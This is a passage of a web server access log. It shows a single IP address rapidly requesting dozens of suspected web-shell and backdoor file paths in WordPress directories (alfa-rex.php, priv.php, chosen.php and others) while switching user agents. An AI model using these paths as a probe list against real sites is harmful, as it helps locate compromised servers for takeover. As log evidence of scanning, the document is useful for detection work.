NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:58 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:59 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:59 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:59 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:00 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:00 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:00 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:00 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:01 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:01 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:01 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:37:02 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:03 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:37:03 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:04 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:04 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:05 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:06 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:06 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:37:07 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:07 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:07 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:07 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:09 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:37:09 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:10 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:11 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:11 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:37:11 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:12 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:37:12 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:13 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:37:13 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:13 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:37:14 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:14 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:14 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:15 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:15 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:15 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:16 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:16 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:37:16 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:16 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:17 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:17 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:18 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:37:18 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:19 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:37:19 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:20 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:37:20 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:20 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:22 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:37:22 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:37:23 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:37:24 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:37:24 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:24 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:25 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:25 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:26 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:26 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:26 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:27 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:37:27 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:27 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:37:27 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:37:28 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:28 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:28 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:37:29 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:29 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:29 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:29 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:29 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:30 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:37:30 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:31 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:31 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:31 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:32 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:32 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:32 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:33 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:33 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:33 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:34 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:35 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:35 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:35 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:36 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:36 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:37 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:37 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:38 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:37:38 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:37:38 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:37:39 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:39 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:37:39 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:40 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:40 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:40 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:41 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:37:41 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:37:41 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:42 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 